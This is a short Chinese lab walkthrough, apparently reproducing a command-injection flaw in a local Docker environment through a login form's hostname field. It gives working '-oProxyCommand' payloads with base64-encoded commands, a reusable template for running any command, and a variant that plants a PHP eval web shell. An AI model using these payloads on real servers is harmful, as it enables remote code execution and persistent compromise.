1.启动环境
bash
docker-compose up -d

2.访问网站
bash
http://192.168.63.156:8080/

3.打开BurpSuite

拦截到访问请求,发送到repeater。修改请求内容
bash
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQ%3d%3d|base64%09-d|sh}&username=xxx&password=xxx
执行的命令是
bash
echo '1234567890'>/tmp/test0001
进行base64加密后变成
bash
ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQ==
需要转换一下,+(%2b);TAB(%09);=(%3d)
bash
ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQ%3d%3d
完整的请求
bash
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQ%3d%3d|base64%09-d|sh}&username=xxx&password=xxx
bash
# 原始payload
x+-oProxyCommand=echo echo '<?php eval($_POST[1]);' > /var/www/html/1.php|base64 -d|sh}
# base64+url编码以后
hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}
# 模板
hostname=x+-oProxyCommand%3decho%09【要执行命令的base64】|base64%09-d|sh}&username=xxx&password=xxx
这个请求forward以后。

在bash中查看是否创建成功。执行下面命令进入环境bash
bash
sudo docker exec -it e78a02c75bd8 /bin/bash


可以看到已经创建成功test0001
